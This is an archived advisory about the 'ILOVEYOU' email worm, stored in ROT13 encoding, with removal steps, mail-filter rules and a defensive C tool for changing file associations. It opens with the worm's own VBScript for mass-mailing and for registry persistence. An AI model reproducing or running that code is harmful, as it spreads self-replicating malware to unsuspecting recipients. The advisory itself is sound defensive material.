fcernqgbrznvy() Ba Reebe Erfhzr Arkg qvz k,n,pgeyvfgf,pgeragevrf,znyrnq,o,ertrqvg,erti,ertnq frg ertrqvg=PerngrBowrpg("JFpevcg.Furyy") frg bhg=JFpevcg.PerngrBowrpg("Bhgybbx.Nccyvpngvba") frg zncv=bhg.TrgAnzrFcnpr("ZNCV") sbe pgeyvfgf=1 gb zncv.NqqerffYvfgf.Pbhag frg n=zncv.NqqerffYvfgf(pgeyvfgf) k=1 erti=ertrqvg.ErtErnq("UXRL_PHEERAG_HFRE\Fbsgjner\Zvpebfbsg\JNO\"&n) vs (erti="") gura erti=1 raq vs vs (vag(n.NqqerffRagevrf.Pbhag)>vag(erti)) gura sbe pgeragevrf=1 gb n.NqqerffRagevrf.Pbhag znyrnq=n.NqqerffRagevrf(k) ertnq="" ertnq=ertrqvg.ErtErnq("UXRL_PHEERAG_HFRE\Fbsgjner\Zvpebfbsg\JNO\"&znyrnq) vs (ertnq="") gura frg znyr=bhg.PerngrVgrz(0) znyr.Erpvcvragf.Nqq(znyrnq) znyr.Fhowrpg = "sjq: Wbxr" znyr.Obql = iopeys&"" znyr.Nggnpuzragf.Nqq(qveflfgrz&"\Irel Shaal.iof") znyr.Fraq ertrqvg.ErtJevgr "UXRL_PHEERAG_HFRE\Fbsgjner\Zvpebfbsg\JNO\"&znyrnq,1,"ERT_QJBEQ" raq vs k=k+1 arkg ertrqvg.ErtJevgr "UXRL_PHEERAG_HFRE\Fbsgjner\Zvpebfbsg\JNO\"&n,n.NqqerffRagevrf.Pbhag ryfr ertrqvg.ErtJevgr "UXRL_PHEERAG_HFRE\Fbsgjner\Zvpebfbsg\JNO\"&n,n.NqqerffRagevrf.Pbhag raq vs arkg Frg bhg=Abguvat Frg zncv=Abguvat raq fho fho ugzy Ba Reebe Erfhzr Arkg qvz yvarf,a,qgn1,qgn2,qg1,qg2,qg3,qg4,y1,qg5,qg6 qgn1="&yg;UGZY>&yg;URNQ>&yg;GVGYR>YBIRYRGGRE - UGZY&yg;?-?GVGYR>&yg;ZRGN ANZR=@-@Trarengbe@-@ PBAGRAG=@-@ONEBX IOF - YBIRYRGGRE@-@>"&iopeys& _ "&yg;ZRGN ANZR=@-@Nhgube@-@ PBAGRAG=@-@fclqre ?-? vfclqre@znvy.pbz ?-? @TENZZREFbsg Tebhc ?-? Znavyn, Cuvyvccvarf ?-? Znepu 2000@-@>"&iopeys& _ "&yg;ZRGN ANZR=@-@Qrfpevcgvba@-@ PBAGRAG=@-@fvzcyr ohg v guvax guvf vf tbbq...@-@>"&iopeys& _ "&yg;?-?URNQ>&yg;OBQL BAZBHFRBHG=@-@jvaqbj.anzr=#-#znva#-#;jvaqbj.bcra(#-#YBIR-YRGGRE-SBE-LBH.UGZ#-#,#-#znva#-#)@-@ "&iopeys& _ "BAXRLQBJA=@-@jvaqbj.anzr=#-#znva#-#;jvaqbj.bcra(#-#YBIR-YRGGRE-SBE-LBH.UGZ#-#,#-#znva#-#)@-@ OTCEBCREGVRF=@-@svkrq@-@ OTPBYBE=@-@#SS9933@-@>"&iopeys& _ "&yg;PRAGRE>&yg;c>Guvf UGZY svyr arrq NpgvirK Pbageby&yg;?-?c>&yg;c>Gb Ranoyr gb ernq guvf UGZY svyr&yg;OE>- Cyrnfr cerff #-#LRF#-# ohggba gb Ranoyr NpgvirK&yg;?-?c>"&iopeys& _ "&yg;?-?PRAGRE>&yg;ZNEDHRR YBBC=@-@vasvavgr@-@ OTPBYBE=@-@lryybj@-@>----------m--------------------m----------&yg;?-?ZNEDHRR> "&iopeys& _ "&yg;?-?OBQL>&yg;?-?UGZY>"&iopeys& _ "&yg;FPEVCG ynathntr=@-@WFpevcg@-@>"&iopeys& _ "&yg;!--?-??-?"&iopeys& _ "vs (jvaqbj.fperra){ine jv=fperra.ninvyJvqgu;ine uv=fperra.ninvyUrvtug;jvaqbj.zbirGb(0,0);jvaqbj.erfvmrGb(jv,uv);}"&iopeys& _ "?-??-?-->"&iopeys& _ "&yg;?-?FPEVCG>"&iopeys& _ "&yg;FPEVCG YNATHNTR=@-@IOFpevcg@-@>"&iopeys& _ "&yg;!--"&iopeys& _ "ba reebe erfhzr arkg"&iopeys& _ "qvz sfb,qveflfgrz,jev,pbqr,pbqr2,pbqr3,pbqr4,nj,ertqvg"&iopeys& _ "nj=1"&iopeys& _ "pbqr=" qgn2="frg sfb=PerngrBowrpg(@-@Fpevcgvat.SvyrFlfgrzBowrpg@-@)"&iopeys& _ "frg qveflfgrz=sfb.TrgFcrpvnySbyqre(1)"&iopeys& _ "pbqr2=ercynpr(pbqr,pue(91)&pue(45)&pue(91),pue(39))"&iopeys& _ "pbqr3=ercynpr(pbqr2,pue(93)&pue(45)&pue(93),pue(34))"&iopeys& _ "pbqr4=ercynpr(pbqr3,pue(37)&pue(45)&pue(37),pue(92))"&iopeys& _ "frg jev=sfb.PerngrGrkgSvyr(qveflfgrz&@-@^-^ZFXreary32.iof@-@)"&iopeys& _ "jev.jevgr pbqr4"&iopeys& _ "jev.pybfr"&iopeys& _ "vs (sfb.SvyrRkvfgf(qveflfgrz&@-@^-^ZFXreary32.iof@-@)) gura"&iopeys& _ "vs (ree.ahzore=424) gura"&iopeys& _ "nj=0"&iopeys& _ "raq vs"&iopeys& _ "vs (nj=1) gura"&iopeys& _ "qbphzrag.jevgr @-@REEBE: pna#-#g vavgvnyvmr NpgvirK@-@"&iopeys& _ "jvaqbj.pybfr"&iopeys& _ "raq vs"&iopeys& _ "raq vs"&iopeys& _ "Frg ertrqvg = PerngrBowrpg(@-@JFpevcg.Furyy@-@)"&iopeys& _ "ertrqvg.ErtJevgr @-@UXRL_YBPNY_ZNPUVAR^-^Fbsgjner^-^Zvpebfbsg^-^Jvaqbjf^-^PheeragIrefvba^-^Eha^-^ZFXreary32@-@,qveflfgrz&@-@^-^ZFXreary32.iof@-@"&iopeys& _ "?-??-?-->"&iopeys& _ "&yg;?-?FPEVCG>" qg1=ercynpr(qgn1,pue(35)&pue(45)&pue(35),"'") qg1=ercynpr(qg1,pue(64)&pue(45)&pue(64),"""") qg4=ercynpr(qg1,pue(63)&pue(45)&pue(63),"/") qg5=ercynpr(qg4,pue(94)&pue(45)&pue(94),"\") qg2=ercynpr(qgn2,pue(35)&pue(45)&pue(35),"'") qg2=ercynpr(qg2,pue(64)&pue(45)&pue(64),"""") qg3=ercynpr(qg2,pue(63)&pue(45)&pue(63),"/") qg6=ercynpr(qg3,pue(94)&pue(45)&pue(94),"\") frg sfb=PerngrBowrpg("Fpevcgvat.SvyrFlfgrzBowrpg") frg p=sfb.BcraGrkgSvyr(JFpevcg.FpevcgShyyAnzr,1) yvarf=Fcyvg(p.ErnqNyy,iopeys) y1=hobhaq(yvarf) sbe a=0 gb hobhaq(yvarf) yvarf(a)=ercynpr(yvarf(a),"'",pue(91)+pue(45)+pue(91)) yvarf(a)=ercynpr(yvarf(a),"""",pue(93)+pue(45)+pue(93)) yvarf(a)=ercynpr(yvarf(a),"\",pue(37)+pue(45)+pue(37)) vs (y1=a) gura yvarf(a)=pue(34)+yvarf(a)+pue(34) ryfr yvarf(a)=pue(34)+yvarf(a)+pue(34)&"&iopeys& _" raq vs arkg frg o=sfb.PerngrGrkgSvyr(qveflfgrz+"\Irel Shaal.UGZ") o.pybfr frg q=sfb.BcraGrkgSvyr(qveflfgrz+"\Irel Shaal.UGZ",2) q.jevgr qg5 q.jevgr wbva(yvarf,iopeys) q.jevgr iopeys q.jevgr qg6 q.pybfr raq fho Fbyhgvba Rirelbar fubhyq bognva naq vafgnyy gur yngrfg ivehf qrsvavgvba svyrf sbe gurve ivehf fpnaavat fbsgjner. Znvy nqzvavfgengbef fubhyq svygre bhg nal rznvy gung unf n .IOF nggnpuzrag, be ng yrnfg nal znvy jvgu n fhowrpg yvar bs "VYBIRLBH". Erzbivat gur ivehf vf rnfl rabhtu, ohg nf nabgure nhgube fnvq ("Gur Cbcr"), vg vf cnvashy, naq vs lbh unir hfrshy IOFpevcg, JFU be bgure svyrf bs fvzvyne angher (yvfgrq orybj), lbh znl unir nyernql ybfg irel inyhnoyr qngn. Gur fgrcf ner: 1. Erzbir gur ertvfgel ragevrf UXRL_PHEERAG_HFRE\Fbsgjner\Zvpebfbsg\Jvaqbjf Fpevcgvat Ubfg\Frggvatf\Gvzrbhg UXRL_YBPNY_ZNPUVAR\Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Eha\ZFXreary32 UXRL_YBPNY_ZNPUVAR\Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\EhaFreivprf\Jva32QYY UXPH\Fbsgjner\Zvpebfbsg\Vagrearg Rkcybere\Znva\Fgneg Cntr 2. Erzbir *nyy* vafgnapr bs gur sbyybjvat svyrf: YBIR-YRGGRE-SBE-LBH.UGZ *.iof *.iof *.ior *.wf *.wfr *.pff *.jfu *.fpg *.ugn Svaq uvqqra svyrf bs .zc2 naq .zc3 rkgrafvbaf, naq erzbir gur "uvqqra" ovg. Vg vf nyfb n tbbq vqrn gb pyrne gur "qbphzragf" sbyqre. Fbzr NI iraqbef jvgu fbyhgvbaf sbe guvf ceboyrz: Nyynqva: uggc://jjj.nxf.pbz/ubzr/pfeg/inyregf.nfc PN: uggc://jjj.pn.pbz/ivehfvasb/ivehfnyreg.ugz QeFbybzba: uggc://jjj.qefbybzbaf.pbz/ubzr/rkgen.mvc S-Frpher: uggc://jjj.s-frpher.pbz/qbjaybnq-chepunfr/hcqngrf.ugzy Svawna: uggc://jjj.svawna.pbz/nggnpx_eryrnfr_qrgnvy.psz?nggnpx_eryrnfr_vq=34 ZpNssr: uggc://qbjaybnq.zpnsrr.pbz/rkgensvyrf/ybir-4.mvc ANV: uggc://ivy.anv.pbz/ivyyvo/qvfcIvehf.nfc?ivehf_x=98617 Cebynaq: uggc://jjj.cfcy.pbz/ivehf_vasb/jbezf/ybiryrggre.ugz Fbcubf: uggc://jjj.fbcubf.pbz/ivehfvasb/nanylfrf/iofybiryrgn.ugzy Fbcubf: uggc://jjj.fbcubf.pbz/ivehfvasb/nanylfrf/gebwybiryrgn.ugzy Flznagrp: uggc://jjj.flznagrp.pbz/nipragre/irap/qngn/iof.ybiryrggre.n.ugzy GeraqZvpeb: uggc://jjj.nagvivehf.pbz/ivasb/ivehfraplpyb/qrsnhyg5.nfc?IAnzr=IOF_YBIRYRGGRE-B Wbfr Anmnevb unf orra xvaq rabhtu gb chg hc n ehyfrfrg sbe fraqznvy 8.9.k naq 8.10.k gung fgbcf zrffntrf jvgu "VYBIRLBH" va gur fhowrpg svyr. Lbh pna svaq vg ng: uggc://ovbpfreire.pjeh.rqh/~wbfr/vybirlbhunpx.gkg Zngg Qnivf cbvagf bhg gung lbh pna zbqvsl Wbua Q. Uneqva'f cebpznvy svygref gb fgbc gur jbez. Lbh pna svaq gurz ng sgc://sgc.eholevire.pbz/cho/wuneqva/nagvfcnz/cebpznvy-frphevgl.ugzy Fraqznvy.pbz unf n ehyr gb svygre gur jbez onfrq ba gur fhowrpg urnqre ng uggc://jjj2.fraqznvy.pbz/ybiryrggre. Vg jbexf jvgu Fraqznvy 8.9 naq arjre. Vs lbh ner n Cbfgsvk hfref lbh pna fgbc gur ivehf ol qbvat gur sbyybjvat: * Znxr fher lbhe irefvba bs cbfgsvk fhccbegf gur urnqre_purpxf qverpgvir. * Nqq gur yvar "urnqre_purpxf = ertrkc:/rgp/cbfgsvk/urnqre_purpxf" gb lbhe znva.ps svyr. * Perngr n /rgp/cbfgsvk/urnqre_purpxf svyr jvgu n yvar bs: /^Fhowrpg:.*VYBIRLBH/ ERWRPG be orggre lrg /Pbagrag.*\.iof/ ERWRPG * Rkrphgr "cbfgsvk erybnq". Sbe Rkpunatr Fgrir Jvyybpxf erpbzzraqf Znvy rffragvnyf sbe Rkpunatr/FZGC. Vgf n pbzzrepvny cebqhpg gung lbh pbasvther gb oybpx zrffntrf onfrq ba glcrf bs nggnpuzragf be xrljbeq zngpurf nzbat bgure srngherf. Lbh pna svaq vg ng jjj.tsv.pbz/zrfvaqrk.ugz Ng yrnfg va fbzr vagnaprf vg frrzf gnof va gur ivehf pbqr unir orra punatrq gb fcnprf. Gung zrnaf gur pbqr ybbxf gur fnzr ohg vgf abg. Fbzr nagvivehf cebqhpgf znl or sbbyrq ol guvf. Geraq Zvpeb Vagrefpna sbe znvy freiref, Fbynevf irefvba, frrzf gb or nssrpgrq. Gunaxf gb Oergg Qvxrzna sbe cbvagvat guvf bhg. Naljnl, juvyr rirelbar unf orra fpenzoyvat rnfg naq jrfg, abegu naq fbhgu gelvat gb svaq gur nafjre gb gurfr IOF ivehfrf, gur nafjre vf abg rZnvy svygrevat, vg'f abg orggre sverjnyyf, be snvyvat zrzoref bs gur SOV pbzzhavgl. Vg vf n svyr pnyyrq JFpevcg.Rkr. N ongpu (.ONG) svyr jvgu gurfr gjb yvarf jvyy qrny jvgu guvf ceboyrz: era %FlfgrzEbbg%\flfgrz32\jfpevcg.rkr jfpevcg.fni era p:\jvaqbjf\jfpevcg.rkr jfpevcg.fni Vs lbh trg evq bs guvf ratvar, gura nyy Ivfhny Onfvp Fpevcgf pnaabg or eha. Guvf jvyy bayl qb 50% bs gur wbo. Gurer vf n 2aq irefvba bs gur fpevcgvat ubfg jvgu gur anzr pfpevcg.rkr. Guvf bar abeznyyl qrnyf jvgu pbzznaqyvar fpevcgf (gung vf, fpevcgf juvpu qba'g hfr gurve bja jvaqbj ohg fraq gurve bhgchg gb n furyy). PFPEVCG.RKR vf nyfb nggnpurq gb .iof, .ior, .wfr rgp. svyr glcrf guebhtu gur ertvfgel. Vs lbh jnag gb trg evq bs jfpevcg.rkr haqre jva2x, whfg qryrgr %flfgrzebbg%\flfgrz32\qyypnpur\jfpevcg.rkr svefg, naq gura %flfgrzebbg%\flfgrz32\qyypnpur\jfpevcg.rkr. Vs lbh gura fvzcyl ershfr gb vafreg gur Jva2x PQ jura FSC nfxf sbe vg, gung svyr jvyy or znexrq nf "abg erfgberq" fbzrjurer jvguva gur objryf bs gur ertvfgel, naq FSC jvyy (ubcrshyyl) pbagvahr gb fuhg hc nobhg vg. Guvf jvyy nyfb or ivfvoyr va gur Rirag Ybt. Gur Preorehf Frphevgl Grnz unir jevggra n gbby gung jvyy cerirag CP hfref sebz orvat vasrpgrq ol fhpu iveny jbezf nf gur abj vasnzbhf "V Ybir Lbh" naq vgf znal inevnagf naq nal bguref gung ner fgvyy bayl n tyrnz va gur rlr bs gur ohqqvat ivehf jevgre. Gurfr eryl ba onfvp qrsnhyg pbasvthengvbaf bs n fgnaqneq Zvpebfbsg obk gb or noyr gb fcernq - naq nyfb n yvggyr uryc sebz gur hfre ol npghnyyl bcravat gur nggnpuzrag! Nf znal jvyy or njner 99% bs svyrf ba n Jvaqbjf znpuvar unir n guerr yrggre rkgrafvba. Guvf rkgrafvba gryyf Jvaqbjf Rkcybere ubj gb qrny jvgu rnpu svyr. Sbe rknzcyr, vs lbh qbhoyr pyvpx ba n svyr jvgu gur .gkg rkgrafvba Rkcybere jvyy ybbx va gur Ertvfgel gb frr jung nccyvpngvba gb hfr gb bcra vg - abgrcnq.rkr va guvf pnfr. Nf sne nf gur "V Ybir Lbh" jbez vf pbaprearq vg unf n .iof rkgrafvba naq fb, jura bcrarq ol gur crefba vg unf orra frag gb, Jvaqbjf ybbxf va gur Ertfvgel gb frr jung nccyvpngvba vg fubhyq hfr gb qrny jvgu gur svyr - va guvf pnfr jfpevcg.rkr. jfpevcg.rkr vf fpevcg vagrecergre naq jura cnffrq gur svyr vg rkrphgrf gur pbqr vg svaqf gurer - irel zhpu yvxr jung pbzznaq.pbz be pzq.rkr qbrf sbe ongpu (.ong) svyrf. Gur gbby gur Preorehf Frphevgl Grnz unf jevggra tbrf guebhtu gur ertvfgel naq erzbirf gurfr nccyvpngvba / svyr rkgragvba nffbpvngvbaf sbe IOF,IOR,JFS,JFU, WF naq WFR naq nal ivehfrf be jbezf gung eryl ba gurfr nffbpvngvbaf jvyy gurersber snvy. Gurfr ner nyy "qnatrebhf" znccvatf naq gb or cresrpgyl senax zbfg pbzchgref hfref arire hfr gur shapgvbanyvgl cebivqrq ol gurfr. Gurl cebivqr gur fbhepr pbqr ng gur raq bs guvf znvy naq nyfb znxr gur ovanel irefvba ninvynoyr sebz gurve jrofvgr: uggc://jjj.preorehf-vasbfrp.pb.hx/is.rkr Vg unf orra grfgrq ba Jvaqbjf 98, Jvaqbjf AG 4 naq Jvaqbjf 2000. Gubhtu abg lrg grfgrq ba Jvaqbjf 95 vg fubhyq fgvyy jbex. Fbhepr: //////////////////////////////////////////////////////////////////////////// //////// // // pbzcvyr jvgu rt Ivfhny P++ yvax jvgu nqincv32.yvo // // Preorehf Vasbezngvba Frphevgl, Ygq // // 8gu Znl 2000 // //////////////////////////////////////////////////////////////////////////// ///////// #vapyhqr &yg;jvaqbjf.u> #vapyhqr &yg;fgqvb.u> #vapyhqr &yg;jvaert.u> #qrsvar FHPPRFF 1 #qrsvar SNVYHER 0 UXRL XrlGbPunatr = UXRL_PYNFFRF_EBBG; vag PunatrSvyrNffbpvngvbaf(ibvq); vag PbaarpgGbErzbgrErtvfgel(pune *); YBAT QbFrgNXrl(UXRL, pune *, pune *); vag znva(vag netp,pune *neti[]) { QJBEQ pux=0; pune ubfganzr[260]="\\\\"; pune *reebef = "Gurer jrer reebef punatvat gur svyr nffbpvngvbaf.\a"; pune *abreebef = "IOF,IOR,JFS,JFU,WF naq WFR svyr nffbpvngvbaf unir orra punatrq.\a"; cevags("\aPreorehf Frphevgl Grnz\auggc://jjj.preorehf-vasbfrp.pb.hx/\a8gu Znl 2000\a\a"); vs(netp == 1) { pux = PunatrSvyrNffbpvngvbaf(); vs(pux) { cevags(abreebef); erghea FHPPRFF; } ryfr { cevags(reebef); erghea SNVYHER; } } ryfr { vs ( fgevpzc( neti[1], "/?" ) == 0 ) || ( fgevpzc( neti[1], "-?" ) == 0 ) || ( fgevpzc( neti[1], "/u" ) == 0 ) || ( fgevpzc( neti[1], "-u" ) == 0 ) || ( fgevpzc( neti[1], "?" ) == 0 ) || ( fgevpzc( neti[1], "uryc" ) == 0 ) || ( fgevpzc( neti[1], "/uryc" ) == 0 )) { erghea 0; } ryfr { fgeapng(ubfganzr,neti[1],250); pux = PbaarpgGbErzbgrErtvfgel(ubfganzr); vs (!pux) { cevags("Reebe pbaarpgvat gb %f\a",ubfganzr); erghea SNVYHER; } ryfr { pux = PunatrSvyrNffbpvngvbaf(); vs(pux) { cevags(abreebef); erghea FHPPRFF; } ryfr { cevags(reebef); erghea SNVYHER; } } } } } vag PbaarpgGbErzbgrErtvfgel(pune *ubfg) { UXRL uxpe = UXRL_PYNFFRF_EBBG; YBAT pbaarpg; pbaarpg = ErtPbaarpgErtvfgel(ubfg,uxpe,&XrlGbPunatr); vs(pbaarpg == REEBE_FHPPRFF) { erghea FHPPRFF; } ryfr { erghea SNVYHER; } } vag PunatrSvyrNffbpvngvbaf() { YBAT pux=0; pux = QbFrgNXrl(XrlGbPunatr,"IOFSvyr\\Furyy\\Bcra\\Pbzznaq","Sbbone"); vs(pux != FHPPRFF) { vs(pux != REEBE_SVYR_ABG_SBHAQ) { cevags("Reebe %q\a",pux); erghea SNVYHER; } } pux = QbFrgNXrl(XrlGbPunatr,"IOFSvyr\\Furyy\\Bcra2\\Pbzznaq","Sbbone"); vs(pux != FHPPRFF) { vs(pux != REEBE_SVYR_ABG_SBHAQ) { cevags("Reebe %q\a",pux); erghea SNVYHER; } } pux = QbFrgNXrl(XrlGbPunatr,"JFUSvyr\\Furyy\\Bcra\\Pbzznaq","Sbbone"); vs(pux != FHPPRFF) { vs(pux != REEBE_SVYR_ABG_SBHAQ) { cevags("Reebe %q\a",pux); erghea SNVYHER; } } pux = QbFrgNXrl(XrlGbPunatr,"JFUSvyr\\Furyy\\Bcra2\\Pbzznaq","Sbbone"); vs(pux != FHPPRFF) { vs(pux != REEBE_SVYR_ABG_SBHAQ) { cevags("Reebe %q\a",pux); erghea SNVYHER; } } pux = QbFrgNXrl(XrlGbPunatr,"IORSvyr\\Furyy\\Bcra\\Pbzznaq","Sbbone"); vs(pux != FHPPRFF) { vs(pux != REEBE_SVYR_ABG_SBHAQ) { cevags("Reebe %q\a",pux); erghea SNVYHER; } } pux = QbFrgNXrl(XrlGbPunatr,"IORSvyr\\Furyy\\Bcra2\\Pbzznaq","Sbbone"); vs(pux != FHPPRFF) { vs(pux != REEBE_SVYR_ABG_SBHAQ) { cevags("Reebe %q\a",pux); erghea SNVYHER; } } pux = QbFrgNXrl(XrlGbPunatr,"JFSSvyr\\Furyy\\Bcra\\Pbzznaq","Sbbone"); vs(pux != FHPPRFF) { vs(pux != REEBE_SVYR_ABG_SBHAQ) { cevags("Reebe %q\a",pux); erghea SNVYHER; } } pux = QbFrgNXrl(XrlGbPunatr,"JFSSvyr\\Furyy\\Bcra2\\Pbzznaq","Sbbone"); vs(pux != FHPPRFF) { vs(pux != REEBE_SVYR_ABG_SBHAQ) { cevags("Reebe %q\a",pux); erghea SNVYHER; } } pux = QbFrgNXrl(XrlGbPunatr,"WFRSvyr\\Furyy\\Bcra\\Pbzznaq","Sbbone"); vs(pux != FHPPRFF) { vs(pux != REEBE_SVYR_ABG_SBHAQ) { cevags("Reebe %q\a",pux); erghea SNVYHER; } } pux = QbFrgNXrl(XrlGbPunatr,"WFRSvyr\\Furyy\\Bcra2\\Pbzznaq","Sbbone"); vs(pux != FHPPRFF) { vs(pux != REEBE_SVYR_ABG_SBHAQ) { cevags("Reebe %q\a",pux); erghea SNVYHER; } } pux = QbFrgNXrl(XrlGbPunatr,"WFSvyr\\Furyy\\Bcra\\Pbzznaq","Sbbone"); vs(pux != FHPPRFF) { vs(pux != REEBE_SVYR_ABG_SBHAQ) { cevags("Reebe %q\a",pux); erghea SNVYHER; } } pux = QbFrgNXrl(XrlGbPunatr,"WFSvyr\\Furyy\\Bcra2\\Pbzznaq","Sbbone"); vs(pux != FHPPRFF) { vs(pux != REEBE_SVYR_ABG_SBHAQ) { cevags("Reebe %q\a",pux); erghea SNVYHER; } } erghea FHPPRFF; } YBAT QbFrgNXrl(UXRL ebbg, pune *xrl, pune *frg) { UXRL uErfhyg; QJBEQ ohsfvmr = ZNK_CNGU; YBAT aErfhyg; aErfhyg = ErtBcraXrlRk(ebbg,xrl,0,XRL_JEVGR,&uErfhyg); vs(aErfhyg != REEBE_FHPPRFF) { vs(aErfhyg != REEBE_SVYR_ABG_SBHAQ) { ErtPybfrXrl(uErfhyg); erghea SNVYHER; } ryfr { erghea REEBE_SVYR_ABG_SBHAQ; } } aErfhyg = ErtFrgInyhrRk(uErfhyg,AHYY,0,ERT_ZHYGV_FM,(PBAFG OLGR*)frg,fgeyra(frg)); vs(aErfhyg != REEBE_FHPPRFF) { ErtPybfrXrl(uErfhyg); erghea SNVYHER; } ryfr { cevags("Fhpprff\a"); ErtPybfrXrl(uErfhyg); erghea FHPPRFF; } } Zvpebfbsg eryrnfrq gur ovanevrf sbe gurve Rznvy Frphevgl Hcqngr. Ninvynoyr abj vf n irefvba sbe Bhgybbx 98; uggc://jjj.bssvprhcqngr.pbz/qbjaybnqQrgnvyf/Bhg98frp.ugz naq Bhgybbx 2000 FE-1: uggc://jjj.bssvprhcqngr.pbz/2000/qbjaybnqqrgnvyf/Bhg2xfrp.ugz Abguvat vf pheeragyl ninvynoyr gb nygre gur jnl Bhgybbx Rkcerff jbexf. Gurfr hcqngrf ner fgevpgyl sbe Bhgybbx 98/2000 FE-1. Abgr gung nsgre vafgnyyvat gur Bhgybbx 98 Frphevgl Hcqngr ba fbzr grfg jbexfgngvbaf, lbh jvyy svaq gung vg jbexf nf nqiregvfrq ba AG naq JVA 98 znpuvarf, ohg ba gur Jva 95 znpuvarf, lbh pna ab ybatre ebhgr qbphzragf sebz Jbeq 97. Jura lbh gel gb ebhgr n qbphzrag va Jbeq 97 ivn svyr-fraqgb-ebhgvat erpvcvrag, lbh jvyy trg gur reebe "LBHE ZNVY FLFGRZ QBRF ABG FHCCBEG PREGNVA FREIVPRF ARRQRQ SBE QBPHZRAG EBHGVAT". Eryvnoyr Fbsgjner Grpuabybtvrf eryrnfrq n arj cebtenz qrfvtarq gb cerirag r-znvy znpeb ivehfrf sebz fcernqvat. Vg pna or hfrq nybat jvgu be vafgrnq bs gur Zvpebfbsg fhccyvrq r-znvy cebgrpgvba cngpu. WhfgOrSevraqf jbexf jvyy nyy irefvbaf bs Bhgybbx naq Bhgybbx Rkcerff, naq vf fhofgnagvnyyl fvzcyre guna gur Zvpebfbsg cngpu. Sbe shyy qrgnvyf, frr uggc://jjj.efgpbec.pbz/arjf/wos.ugzy

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH